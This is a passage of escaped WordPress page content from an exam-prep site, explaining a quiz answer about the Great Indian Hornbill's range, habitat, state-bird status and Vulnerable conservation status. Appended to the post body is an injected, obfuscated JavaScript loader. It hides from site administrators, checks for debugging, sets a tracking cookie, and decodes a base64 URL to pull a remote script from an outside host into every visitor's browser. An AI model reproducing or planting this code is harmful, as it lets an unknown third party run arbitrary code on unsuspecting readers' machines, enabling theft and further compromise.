Indian Hornbill (<em>Buceros bicornis<\/em>)<\/strong>, also known as the <strong>Great Pied Hornbill<\/strong>, is a <strong>large forest bird<\/strong> found mainly in:<ul><li>The <strong>Western Ghats<\/strong> of India, and<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>The <strong>foothills of the Himalayas<\/strong> (from Uttarakhand and Nepal eastward to northeastern states like Arunachal Pradesh and Assam).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>It inhabits <strong>evergreen and moist deciduous forests<\/strong>, not deserts, salt marshes, or alpine zones.<\/li>\n\n\n\n<li>It is the <strong>state bird of Kerala and Arunachal Pradesh<\/strong>.<\/li>\n\n\n\n<li><strong>IUCN Status:<\/strong> <em>Vulnerable<\/em> \u2014 mainly due to habitat loss and hunting for its casque and feathers.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\"><strong>(a) &amp; (c):-<\/strong> Deserts and salt marshes \u2014 unsuitable for forest-dwelling hornbills.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\"><strong>(b):-<\/strong> Higher Himalayas \u2014 too cold and treeless.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"488\" height=\"488\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-2.png\" alt=\"\" class=\"wp-image-2684\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-2.png 488w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-2-300x300.png 300w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-2-150x150.png 150w\" sizes=\"auto, (max-width: 488px) 100vw, 488px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"466\" height=\"492\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-3.png\" alt=\"\" class=\"wp-image-2685\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-3.png 466w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-3-284x300.png 284w\" sizes=\"auto, (max-width: 466px) 100vw, 466px\" \/><\/figure>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Which of the following are the significance of cryopreservation of corals? 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